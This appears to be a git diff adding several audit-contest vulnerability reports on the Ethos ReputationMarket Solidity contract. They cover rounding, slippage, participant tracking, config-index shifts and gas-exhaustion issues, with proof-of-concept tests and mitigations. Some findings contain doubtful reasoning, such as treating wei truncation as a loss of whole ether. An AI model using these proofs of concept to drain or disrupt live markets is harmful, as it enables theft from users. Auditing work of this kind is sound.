`proceedsAfterFees` and hence would base his expectations on that. Here's a simple example: +1. `proceedsBeforeFees` is 6 ether +2. `protocolFee` is 2 ether +3. `proceedsAfterFees = 6 - 2 = 4 ether` +4. Seller sold 1 vote and specified `minimumVotePrice` as `5 ether`, which he expects to receive in his account +5. Protocol compared : `Is 6 < 5? No; so it's safe to continue`. +6. Seller gets `4 ether` in his account even though he had specified `minimumVotePrice` as `5 ether`. + +## Mitigation +```diff +- uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; ++ uint256 pricePerVote = votesToSell > 0 ? proceedsAfterFees/ votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } +``` \ No newline at end of file diff --git a/023.md b/023.md new file mode 100644 index 0000000..62e5db4 --- /dev/null +++ b/023.md @@ -0,0 +1,127 @@ +Festive Mint Platypus + +Medium + +# LMSR Invariant can break for `getVotePrice` + +### Summary + +The invariant described [in the code](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L22C12-L22C141) states that the price of trust vote and the distrust vote must always sum up to the market's base price. However there are cases when the `getVotePrice(trust) + getVotePrice(distrust) < base price` + + + + + + + + + + +### Root Cause + +In [ReputationMarket.sol:1000](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1000C4-L1003C98) the developer makes the assumption to round up one of the values and round down the other value so that the sum total will preserved (and be equal to base price) + +While this may be true in some cases +```python +v1 = floor(a / (a + b)) +v2 = ceil(b / (a + b)) +v1 + v2 == 1 +``` +it doesn't necessarily hold true due to solidity's precision errors when multiplying integers + +There are multiple cases that can be generated which will break this rule all under the constraints laid out by the developer as shown in the fuzzing suite below + + +### Internal Pre-conditions +N/A + +### External Pre-conditions + +N/A + +### Attack Path + +N/A + +### Impact + +When users call the `getVotePrice()` function to make a decision to purchase, this sum value deflatation may confuse them. + +This would be a low finding since it's in the view function and the `buyVotes` or the `sellVotes` don't necessarily use the same `getVotePrice` function to calculate the changes. + +However this condition is stated as an invariant hence I am marking it as Medium. + +### PoC + +Add the following in `rep.market.test.ts` + +```javascript + describe('POC: LMSR invariant check fails for view function', () => { + it('sums up the voting prices to a value less than base price', async () => { + + await userA.buyVotes({ votesToBuy: 109090n, isPositive: true }); + await userA.buyVotes({ votesToBuy: 3500n, isPositive: false }); + + const market = await reputationMarket.getMarket(DEFAULT.profileId); + expect(market.trustVotes).to.be.equal(109091n); + expect(market.distrustVotes).to.be.equal(3501n); + + const trustVotePrice = await reputationMarket.getVotePrice(DEFAULT.profileId, true); + const distrustVotePrice = await reputationMarket.getVotePrice(DEFAULT.profileId, false); + + expect(trustVotePrice + distrustVotePrice).to.be.lessThan(market.basePrice); + + }); + }); +``` + +If you want to generate more such values for a diverse range of properties checkout the below fuzz test + +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Math} from "@openzeppelin/contracts/utils/math/Math.sol"; +import {LMSR} from "../src/LMSR.sol"; +import {console2 as console} from "forge-std/console2.sol"; +import "forge-std/Test.sol"; + +contract Confirm is Test { + using Math for uint256; + uint256 public constant DEFAULT_PRICE = 0.01 ether; + uint256 public constant MINIMUM_BASE_PRICE = 0.0001 ether; + + // Use this fuzz test to generate examples + function testFuzz_OddsSumTo1( + uint256 basePrice, + uint256 trust, + uint256 distrust, + uint256 liquidityParameter + ) public pure { + liquidityParameter = bound(liquidityParameter, 10_000, 100_000); + trust = bound(trust, 1, 133 * liquidityParameter); + distrust = bound(distrust, 1, 133 * liquidityParameter); + basePrice = bound(basePrice, MINIMUM_BASE_PRICE, DEFAULT_PRICE); + + uint256 ratio1 = LMSR.getOdds( + trust, + distrust, + liquidityParameter, + true + ); + uint256 cost1 = ratio1.mulDiv(basePrice, 1e18, Math.Rounding.Floor); + + uint256 ratio2 = LMSR.getOdds( + trust, + distrust, + liquidityParameter, + false + ); + uint256 cost2 = ratio2.mulDiv(basePrice, 1e18, Math.Rounding.Ceil); + + assertEq(cost1 + cost2, basePrice); + } +``` + +### Mitigation + diff --git a/024.md b/024.md new file mode 100644 index 0000000..b674f3a --- /dev/null +++ b/024.md @@ -0,0 +1,187 @@ +Main Gauze Kangaroo + +Medium + +# ReputationMarket.sol :: Users can sell all their votes for a specific profileId but still retain isParticipant = true. + +### Summary + +`isParticipant` is a mapping that checks if a user has votes for a specific `profileId`. It returns `true` if the user has votes and `false` otherwise. + +The issue arises when a user sells all their votes for a particular `profileId`. In this case, `isParticipant` is not updated to `false`, causing the mapping to incorrectly indicate that the user still has votes for that `profileId`, even though they do not. + + + +### Root Cause + +When a user purchases votes for a specific `profileId` using the [buyVotes()](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L473-L477) for the first time, the `isParticipant` mapping is set to `true`, and the user is added to the participant array. +```solidity +function buyVotes( + uint256 profileId, + bool isPositive, + uint256 maxVotesToBuy, + uint256 minVotesToBuy + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + +///code + +if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + +///code +} +``` +If we review the [participant](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L131-L133) array, we find the following. +```solidity +// profileId => participant address + // append only; don't bother removing. Use isParticipant to check if they've sold all their votes. + mapping(uint256 => address[]) public participants; +``` +As you can see when the users sells all their votes for a specific `profileId` is not removed for the array but the `isParticpant` mapping needs to be set to `false` to know that the user has no votes for this `proileId`. + +`sellVotes()` is implemented as follows. +```solidity +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 votesToSell, + uint256 minimumVotePrice + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + (uint256 proceedsBeforeFees, uint256 protocolFee, uint256 proceedsAfterFees) = _calculateSell( + markets[profileId], + profileId, + isPositive, + votesToSell + ); + + uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } + + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + // tally market funds + marketFunds[profileId] -= proceedsBeforeFees; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(proceedsAfterFees); + + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesToSell, + proceedsAfterFees, + block.timestamp + ); + _emitMarketUpdate(profileId); + } +``` +There is no mechanism to check if a user has sold all their votes for a specific `profileId` and update the `isParticipant` to `false`. This causes a situation where a user can sell all their votes, but their `isParticipant` status remains `true`. + +### Internal Pre-conditions + +None. + +### External Pre-conditions + +The user needs to sell all their votes for a specific `profileId`. + +### Attack Path + +None. + +### Impact + +A user with any votes for a specific `profileId` will be considered a participant. + +### PoC + +To observe the issue, copy the following proof of concept into `rep.market.test.ts`. +```js +it('The user retains their status as a participant unless they no longer have votes associated with this profileId.', async () => { + + //User has no votes for this profileId -> isParticipant = false + expect( + await reputationMarket.isParticipant(DEFAULT.profileId, await userA.signer.getAddress()), + ).to.equal(false); + + // buy one positive vote + await userA.buyOneVote(); + + expect( + await reputationMarket.isParticipant(DEFAULT.profileId, await userA.signer.getAddress()), + ).to.equal(true); + + // sell one positive vote + await userA.sellOneVote(); + + //no votes for this profileId + const { trustVotes, distrustVotes } = await userA.getVotes(); + expect(trustVotes).to.equal(0); + expect(distrustVotes).to.equal(0); + + //The user retains their status as a participant unless they no longer have votes associated with this profileId + expect( + await reputationMarket.isParticipant(DEFAULT.profileId, await userA.signer.getAddress()), + ).to.equal(true); + }); +``` + +### Mitigation + +To resolve the issue in `sellVotes()`, check if the user has no votes remaining for the `profileId`, and if so, set `isParticipant` to `false`. +```diff +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 votesToSell, + uint256 minimumVotePrice + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + (uint256 proceedsBeforeFees, uint256 protocolFee, uint256 proceedsAfterFees) = _calculateSell( + markets[profileId], + profileId, + isPositive, + votesToSell + ); + + uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } + + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + // tally market funds + marketFunds[profileId] -= proceedsBeforeFees; + ++ MarketInfo memory userInfo = getUserVotes(msg.sender, profileId); ++ if(userInfo.trustVotes == 0 && userInfo.distrustVotes == 0) { ++ isParticipant[profileId][msg.sender] = false; ++ } + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(proceedsAfterFees); + + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesToSell, + proceedsAfterFees, + block.timestamp + ); + _emitMarketUpdate(profileId); + } +``` \ No newline at end of file diff --git a/025.md b/025.md new file mode 100644 index 0000000..c1ffcd7 --- /dev/null +++ b/025.md @@ -0,0 +1,98 @@ +Refined Hotpink Sloth + +Medium + +# Seller might acces initial market liquidity leading to loss of funds for users and temporary DOS + +### Summary + +When we calculating price of votes we rounding down price for positive votes and rounding up for negative votes +ReputationMarket.sol: _calcCost() +```solidity + cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, + isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil + ); +``` +Current design choice let us keep the price of 1 negative + 1 positive = base price +Meanwhile, it causes an issue if amount bought and sold varies. +Let's consider an example: +1)user bought 3 negative votes in a single buyVotess() call. Price of his votes before rounding was 18158966749999999 (~0.018 eth), the price will be rounded by protocol to 18158966750000000 +2)user sold 3 negative votes in 3 buyVotes() calls. The price before rounding will be: +a)6,045,700,083,333,333.3 +b)6,053,266,666,666,666.6 +c)6,060,000,000,000,000.0 +Total amount of prices AFTER rounding up will be 18158966750000001 +Reversed situation will be with positive votes +Even tho impact of these issues doesn't looks big it is important to note, in this Ethos update we changed rules for creating markets by admin +ReputationMarket.sol : _createMarket() +```solidity + } else { + // when an admin creates a market, there is no minimum creation cost; use whatever they sent + marketFunds[profileId] = msg.value; + } +``` +In this update admin willing to send any amount of as initial liquidity, when it creating market for someone. This exactly means, admin is able to not send any funds at all (It is LEGIT activity for admin) moreover it seems there is no any incentives for admin to put protocol funds inside someone's else market pool. + +Note: we assumed here, user is only trader for that market +1) +a)Considering this fact our issue will cause a DOS of sellVotes() function to work with specific market, because if there was 0 or small amount of initial funds, and user bought few negative votes in bulk and then sold it one by one(or bought positive one by one and sold in bulk), market's funds won't be enough to pay for last vote. Exactly same thing will happens if user bought positive votes one by one and then sold it in bulk +b)Markets with big trading volume will be affected more + +2)Considering the fact, the actual price of votes depends on amounts user bought them we clarify that now 1 negative + 1 positive price will be equal to base price ONLY in case users bought same amounts of positive and negative votes, so it will break main invariant of protocol +3)User accessed initial liquidity, which also break invariant + + + +### Root Cause + +ReputationMarket.sol: _calcCost() +```solidity + cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, + isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil + ); +``` + +and because the line bellow we might got market temprorary DOSed + +ReputationMarket.sol : _createMarket() +```solidity + } else { + // when an admin creates a market, there is no minimum creation cost; use whatever they sent + marketFunds[profileId] = msg.value; + } +``` + + +### Internal Pre-conditions + +In reality dos of market will be possible in case admin will create market with small or 0 amount of funds as initial liquidity, as i mentioned before it is LEGIT activity for admin + + +### External Pre-conditions + +_No response_ + +### Attack Path + +1) User buy negative votes in bulk and sell them one by one +or +1) User buy positive price one by one and sell them in bulk +It is not benefit to 'attacker', but can happen occasionaly + +### Impact + +1)temporary dos of sellVote() for specific market. If market funds 0 or low it will impossible to sell last vote +2)2 invariants broken + +### PoC + +_No response_ + +### Mitigation + + i personally would keep the main root cause of issue untouched, since in is not makes real impact to the protocol funds + but i would be fix process of creating market by admin and ensure he put common initial liquidity to the market while creating it \ No newline at end of file diff --git a/026.md b/026.md new file mode 100644 index 0000000..29352d4 --- /dev/null +++ b/026.md @@ -0,0 +1,103 @@ +Narrow Lipstick Moose + +High + +# Market Configuration Vote Initialization Discrepancy + +### Summary + +The `createMarketWithConfig` function in the `ReputationMarket.sol` contract allows users to create markets using predefined configurations (Default, Deluxe, Premium) with associated liquidity and vote levels. However, the `_createMarket` function sets the initial votes for Trust and Distrust to 1, regardless of the selected tier. This discrepancy results in all markets being initialized at the `Default` tier's vote levels, even when users pay for higher-tier configurations like `Deluxe` or `Premium`. + +This behavior misaligns with the intended design and user expectations, potentially leading to disputes and dissatisfaction from users who do not receive what they pay for. + +Prices are determined by a bonding curve formula based on the ratio of Trust and Distrust votes. Initializing both with a minimal value (1) creates disproportionate sensitivities to small changes in votes, resulting in unpredictable and unstable pricing dynamics. + +### Root Cause + +The issue can be observed here : https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L318-L355 + +```Solidity + function _createMarket( + uint256 profileId, + address recipient, + uint256 marketConfigIndex + ) private nonReentrant { + // ensure a market doesn't already exist for this profile + if (markets[profileId].votes[TRUST] != 0 || markets[profileId].votes[DISTRUST] != 0) + revert MarketAlreadyExists(profileId); + + // ensure the specified config option is valid + if (marketConfigIndex >= marketConfigs.length) + revert InvalidMarketConfigOption("Invalid config index"); + + uint256 creationCost = marketConfigs[marketConfigIndex].creationCost; + + // Handle creation cost, refunds and market funds for non-admin users + if (!hasRole(ADMIN_ROLE, msg.sender)) { + if (msg.value < creationCost) revert InsufficientLiquidity(creationCost); + marketFunds[profileId] = creationCost; + if (msg.value > creationCost) { + _sendEth(msg.value - creationCost); + } + } else { + // when an admin creates a market, there is no minimum creation cost; use whatever they sent + marketFunds[profileId] = msg.value; + } + + // Create the new market using the specified config + markets[profileId].votes[TRUST] = 1; + markets[profileId].votes[DISTRUST] = 1; + markets[profileId].basePrice = marketConfigs[marketConfigIndex].basePrice; + markets[profileId].liquidityParameter = marketConfigs[marketConfigIndex].liquidity; + + donationRecipient[profileId] = recipient; + + emit MarketCreated(profileId, msg.sender, marketConfigs[marketConfigIndex]); + _emitMarketUpdate(profileId); + } +``` +In this function, no matter what the `marketIndexConfig`(0,1 or 2) is, the market will always be of type `default` because + +```Solidity + markets[profileId].votes[TRUST] = 1; //@audit always default type + markets[profileId].votes[DISTRUST] = 1; //@audit always default type +``` + + + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +* Users who create markets at higher tiers (Deluxe or Premium) are not assigned the appropriate vote levels, reducing the liquidity and stability of their markets. +* Users paying higher creation costs do not receive the benefits associated with these tiers, leading to potential disputes and reputational risks for the protocol. +* Market behaviors and pricing based on vote levels will be skewed due to incorrectly initialized markets, affecting fairness in price discovery. + +### PoC + +Steps to Reproduce: + +* Call the `createMarketWithConfig` function with ex. `marketConfigIndex = 2` (Premium tier), which should initialize 10,000 votes for Trust and Distrust. + +* Observe that the actual votes for the created market are set to 1 for both Trust and Distrust. + +### Mitigation + +Add `initialVotes` in the `MarketConfigs` struct. +And update the `_createMarket` by doing: +```Solidity + markets[profileId].votes[TRUST] = marketConfigs[marketConfigIndex].initialVotes; + markets[profileId].votes[DISTRUST] = marketConfigs[marketConfigIndex].initialVotes; +``` + \ No newline at end of file diff --git a/027.md b/027.md new file mode 100644 index 0000000..dc7a0ca --- /dev/null +++ b/027.md @@ -0,0 +1,100 @@ +Narrow Lipstick Moose + +Medium + +# Rounding Issue in `sellVotes` Function + +### Summary + +The `sellVotes` function in the contract calculates the price per vote during a vote sell transaction by dividing `proceedsBeforeFees` by `votesToSell`. However, this calculation uses Solidity's default integer division, which truncates fractional results (rounding down), potentially leading to inaccurate price calculations. This rounding issue could lead to smaller than expected sale proceeds for the seller and misalignments in the vote price, especially in markets where fractional values are significant. + +### Root Cause + +The issue can be observed here: https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L539-L578 + +```Solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 votesToSell, + uint256 minimumVotePrice + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + (uint256 proceedsBeforeFees, uint256 protocolFee, uint256 proceedsAfterFees) = _calculateSell( + markets[profileId], + profileId, + isPositive, + votesToSell + ); + + uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } + + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + // tally market funds + marketFunds[profileId] -= proceedsBeforeFees; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(proceedsAfterFees); + + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesToSell, + proceedsAfterFees, + block.timestamp + ); + _emitMarketUpdate(profileId); + } +``` + +Here is the line: +```Solidity + uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; //@audit +``` +This division performs integer division, which truncates decimal values. This results in rounding down instead of rounding to the nearest integer. When calculating the price per vote, the function ignores fractional parts of the price, which may lead to a smaller price being applied than intended. + + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Sellers receive less than expected from the sale of votes due to the rounding down of fractional values. +Example: If the proceeds before fees are 5 ETH and votesToSell = 3, the price per vote should be 1.666... ETH, but it will be truncated to 1 ETH instead, resulting in a loss of 0.666... ETH per vote for the seller. + +### PoC + +Let’s assume: + +`proceedsBeforeFees` = 5 ETH (5e18 Wei) +`votesToSell` = 3 (3 votes to sell) +`minimumVotePrice` = 1 ETH +When `proceedsBeforeFees` is divided by `votesToSell`: + +`pricePerVote` = 5 ETH / 3 = 1.6666666... ETH +However, Solidity will perform integer division, so the result will be truncated: + +`pricePerVote` = 1 ETH (due to truncation of fractional values) +Thus, even though the exact price should have been 1.666... ETH, the actual pricePerVote is 1 ETH, and this could cause the seller to receive less than expected. + +### Mitigation + +Implement the use of `mulDiv` with the appropriate rounding mode or enhance the price calculation with explicit rounding logic to ensure that rounding errors do not impact the fairness or integrity of vote transactions. \ No newline at end of file diff --git a/028.md b/028.md new file mode 100644 index 0000000..9991494 --- /dev/null +++ b/028.md @@ -0,0 +1,95 @@ +Narrow Lipstick Moose + +Medium + +# Market Configuration ID Changes and Unintended Market Creation + +### Summary + +This issue arises from the dynamic nature of the market configuration system in the `createMarketWithConfig` function. The user selects the market configuration based on an ID (index) of an existing market configuration. However, when a configuration is removed from the list, the IDs of subsequent configurations are shifted, potentially causing the user to accidentally select a different configuration than intended. + +When creating a market, users specify the `marketConfigIndex` they wish to use. The function then passes this index to `_createMarket`, which uses the provided index to select one of the predefined configurations (e.g., Default, Deluxe, Premium tiers). However, the `marketConfigs` array is mutable, meaning configurations can be added, modified, or removed at any time by admins. + +If an admin removes a market configuration from the `marketConfigs` array, it will cause all the following configurations to shift their index values. Therefore, if a user specified a configuration ID, say 1 (which may refer to the second configuration), but the configuration with ID 0 is removed, then the configuration the user actually wants may no longer correspond to their chosen index. + +In summary, if the user specified `marketConfigIndex = 1` with the intent of creating a market from the second configuration (e.g., Deluxe), but an admin removed the first configuration (ID 0), the second configuration will now be shifted to ID 0, and the user will create the market for the wrong configuration. + +### Root Cause + +This is the `createMarketWithConfig` function at https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L284-L296 +```Solidity + function createMarketWithConfig(uint256 marketConfigIndex) public payable whenNotPaused { + uint256 senderProfileId = _getProfileIdForAddress(msg.sender); + + // Verify sender can create market + if (enforceCreationAllowList && !creationAllowedProfileIds[senderProfileId]) + revert MarketCreationUnauthorized( + MarketCreationErrorCode.PROFILE_NOT_AUTHORIZED, + msg.sender, + senderProfileId + ); + + _createMarket(senderProfileId, msg.sender, marketConfigIndex); + } +``` + +The `marketConfigs` array is mutable, and when an element is removed, it causes the subsequent elements to shift their indices. This change directly affects the user’s selection if the configuration they want is not the last one. +Users specify the configuration by index, not by a unique identifier or any other stable reference, which means this approach fails to account for the potential dynamic modification of configurations. + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +* There are three available market configurations: IDs 0, 1, and 2, each corresponding to different tiers. +* A user wants to create a market using the Deluxe configuration (`marketConfigIndex` = 1). +* An admin removes the configuration with ID 0 (e.g., Default). +* This removal shifts the indexes of the remaining configurations, so the Deluxe configuration now becomes 0, and the Premium configuration becomes 1. +* The user, still attempting to create a market with marketConfigIndex = 1, actually creates a market with the Premium configuration. +* The user is thus unintentionally creating a market for a different tier than intended, and once the market is created, they cannot change it (since users can only create one market). + +### Impact + +* Users may unknowingly create a market with the wrong configuration if an admin removes a market configuration that causes indices to shift. +* Also most importantly, since markets are one-time creations per profile, the user cannot correct their selection if the wrong market configuration is chosen. + +### PoC + +### Example Walkthrough + +Let's illustrate this with a concrete example. Suppose the current configurations look like this: + +| **MarketConfig Index** | **Market Tier** | +|------------------------|-----------------| +| 0 | Default | +| 1 | Deluxe | +| 2 | Premium | + +#### Step 1: User's Action +The user intends to create a market using the Deluxe configuration. They choose the configuration with index 1 (the second option) when calling `createMarketWithConfig(1)`. + +#### Step 2: Admin Modifies Configurations +While the user is submitting their request, an admin removes the configuration at index 0 (Default), which shifts the remaining configurations: + +| **MarketConfig Index** | **Market Tier** | +|------------------------|-----------------| +| 0 | Deluxe | +| 1 | Premium | + +Now, after the removal of the configuration with index 0, the configuration with index 1 (Premium) becomes the second configuration. + +#### Step 3: Unexpected Result +Since the user originally selected `marketConfigIndex = 1`, this now points to the Premium configuration instead of the Deluxe configuration, which the user originally wanted. + +As a result, a market for the Premium configuration is created, not the Deluxe market the user intended. Since markets are typically a one-time creation per profile, the user can no longer create the market they wanted. + + +### Mitigation + +Allow users to refer to configurations by a stable identifier, such as a configId rather than relying on index positions in an array. This way, users would always select the correct configuration, regardless of its position in the list. \ No newline at end of file diff --git a/029.md b/029.md new file mode 100644 index 0000000..4c63215 --- /dev/null +++ b/029.md @@ -0,0 +1,102 @@ +Festive Mint Platypus + +Medium + +# Tx to `buyVote` can run out of gas if the value if the diff between `maxVotesToBuy` and `minVotesToBuy` is too high. + +### Summary + +Linearly checking for the right value of votes to purchase based on the buy amount by decrementing one vote at a time is extremely gas expensive also makes the tx unpredictable in volatile gas markets possible causing OOG errors and reverts. The loop is technically unbounded as it directly proportional to the `maxVotes` count. + +The affected party in this denial of service is the user. + +### Root Cause + +In [ReputationMarket:457](https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/ReputationMarket.sol#L457C1-L468C1) we see that the logic to decide how many votes to add is done by looping from the maximum allowed votes all the way down 1 by 1 until the fee is covered. + +This puts a user who passes UINT256::MAX as `maxVotes` simply because they are expecting to buy up all the votes possible given their buyAmount. The protocol currently handles it poorly causing this tx to run out of gas really quickly as the value increases. This makes the likelihood low but the impact high. + +### Internal Pre-conditions + +N/A + +### External Pre-conditions + +N/A + +### Attack Path + +When the function `ReputationMarket::buyVote` is called with a really high `maxVotesToBuy` allowed parameter and very low `minVotesToBuy` and `buyAmount` + +### Impact + +The user looses the trade as tx becomes unpredictable in gas volatile markets. It becomes especially frustrating if the voting market is also volatile at the same time period and a user who is willing to buy max possible trust tokens undergoes a OOG error effectively a denial of service + +### PoC + +Add the following test suite in [this](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/test/reputationMarket/rep.market.test.ts) test file. + +```javascript + describe('POC:oog', () => { + it('increases gas cost with `maxVotes` possibly denying user from getting votes', async () => { + + let previousGasCost = 0n; + + // User's intention is to buy at least 5 votes in the transaction + const actualVotesToBuy = 5n; + const actualVotesCost = DEFAULT.buyAmount * actualVotesToBuy; + + + let count = 6; // We'll try 6 different values for maxVotes + for (let maxVotesToBuy = actualVotesToBuy; count-- > 0; maxVotesToBuy = maxVotesToBuy * 2n) { + const { gas } = await userA.buyVotes({ + // Due to market fluctuation, user is willing to buy a lot maximum votes with that same buyAmount) + votesToBuy: maxVotesToBuy, // This parameter actually represents `maxVotes` (check the util file if you want) + + // The following variables are set to constants + buyAmount: actualVotesCost, + minVotesToBuy: actualVotesToBuy, + }); + if (previousGasCost > 0n) { + console.log( + "Gas cost for buying", maxVotesToBuy, "is", gas, ". Difference: ", Number(gas.valueOf()) - Number(previousGasCost.valueOf()) + ); + } + previousGasCost = gas; + } + + /* + * OUTPUT: + * Gas cost for buying 10n is 775939n . Difference: 104993 + * Gas cost for buying 20n is 2606557n . Difference: 1830618 + * Gas cost for buying 40n is 6245843n . Difference: 3639286 + * Gas cost for buying 80n is 13565953n . Difference: 7320110 + * Gas cost for buying 160n is 27838718n . Difference: 14272765 + * + */ + }); + }); +``` + +### Mitigation + +Replace Linear Search with Binary Search in `buyVote`. + +Time complexity of O(log n) is much closer to constant than it is to O(n). That should drastically improve predictability and gas price. + +So, + +For an intuition of how it would work is that, consider a number scale from 0 to maxvotes. +One end we have maxVotes + 1 which would be too expensive, so won't work. On the other end you have 0 votes which will work. So it's about finding the sweet spot by always visiting the middle value and deciding which half to choose to explore the good portion + +bad: MaxVotes + 3 +bad: MaxVotes + 2 +bad: MaxVotes + 1 + +. +. +. +. +good: 2 +good: 1 +good: 0 diff --git a/030.md b/030.md new file mode 100644 index 0000000..c331f22 --- /dev/null +++ b/030.md @@ -0,0 +1,75 @@ +Tangy Tortilla Fox + +Medium + +# Admin market removals will make users chose the wrong market + +### Summary + +All available markets are in an array of `marketConfigs`. Where each index has it's own unique config and users can have only 1 market with only 1 config. + +Admins can `addMarketConfig` and `removeMarketConfig`, however when doing an add the place of the last index would replace the current removed index passably causing a user to pick the wrong index if the change and market creation happens at the same time. + +### Root Cause + +`_createMarket` relying on indexes without any ''slippage/verification" check + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L318 + +```solidity + function _createMarket( + uint256 profileId, + address recipient, + uint256 marketConfigIndex + ) private nonReentrant { + // ensure a market doesn't already exist for this profile + if (markets[profileId].votes[TRUST] != 0 || markets[profileId].votes[DISTRUST] != 0) + revert MarketAlreadyExists(profileId); + + // ensure the specified config option is valid + if (marketConfigIndex >= marketConfigs.length) + revert InvalidMarketConfigOption("Invalid config index"); + + uint256 creationCost = marketConfigs[marketConfigIndex].creationCost; + + // Handle creation cost, refunds and market funds for non-admin users + if (!hasRole(ADMIN_ROLE, msg.sender)) { + if (msg.value < creationCost) revert InsufficientLiquidity(creationCost); + marketFunds[profileId] = creationCost; + if (msg.value > creationCost) { + _sendEth(msg.value - creationCost); + } + } else { + // when an admin creates a market, there is no minimum creation cost; use whatever they sent + marketFunds[profileId] = msg.value; + } +``` + +### Internal Pre-conditions + +1. User wants to create a luxurious market (good params + high `creationCost`) + +### External Pre-conditions + +1. Admin removes an index + +### Attack Path + +1. Famous user wants to create a deep market with lots of liquidity (it will be expensive) +2. He selects the 3rd index and calls `createMarketWithConfig` +3. At the same time an admin removes this config and `removeMarketConfig` replaces it with the last +4. The user TX executes second and his market is made with a cheap config (low `creationCost`) and bad parameters + +Our user can only create 1 market and wasting this opportunity on the wrong config will mean that he would not use it. + +### Impact + +Users have only 1 market per ID, i.e. 1 market per actual user. Wasting this market on the wrong config would mean that this user will not be a part of ethos. + +### PoC + +_No response_ + +### Mitigation + +While adding market push them to the array and while removing them instead of deleting each market and changing the array order, just mark it as un-usable and leave it there. This way the user TX would revert and he would be able to create a market with another config of his choice. \ No newline at end of file diff --git a/031.md b/031.md new file mode 100644 index 0000000..8297250 --- /dev/null +++ b/031.md @@ -0,0 +1,109 @@ +Melodic Latte Pheasant + +High + +# Wrong rounding direction will cause initial liquidity drained + +### Summary + +The wrong rounding direction in `_calcCost()` will drain market liquidity during regular trading operations. + +### Root Cause + +In [`ReputationMarket.sol:1057`](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1057) rounding direction is determined based on the value of `isPositive` flag. The mistake is that `isPositive` is `true` for the TRUST votes and `false` for DISTRUST votes. That means that rounding direction is dictated by the vote's type the `_calCost()` function processes at the moment, which is wrong. Rounding must always favor the protocol: round up when a user buys votes, and round down when a user sells votes back. + +The statements below illustrate current `_calcCost()` behaviour: +- User buys TRUST votes => Rounding.Floor (WRONG: less cost paid) +- User sells TRUST votes => Rounding.Floor (FINE) +- User buys DISTRUST votes => Rounding.Ceil (FINE) +- User sells DISTRUST votes => Rounding.Ceil (WRONG: higher cost refunded) + + +### Internal Pre-conditions + +None + +### External Pre-conditions + +None + +### Attack Path + +Users buy and sell votes. + +### Impact + +The reputation market suffers from a liquidity drain. + +The following invariant is broken: +>The contract must never pay out the initial liquidity deposited as part of trading. + +### PoC + +Insert this test into ethos/packages/contracts/test/reputationMarket/rep.market.test.ts + +```typescript + it('poc_01', async () => { + const profileId = ethosUserB.profileId; + + await reputationMarket + .connect(deployer.ADMIN) + .addMarketConfig(100n, ethers.parseEther('.001'), DEFAULT.creationCost); + + const marketConfigIndex = 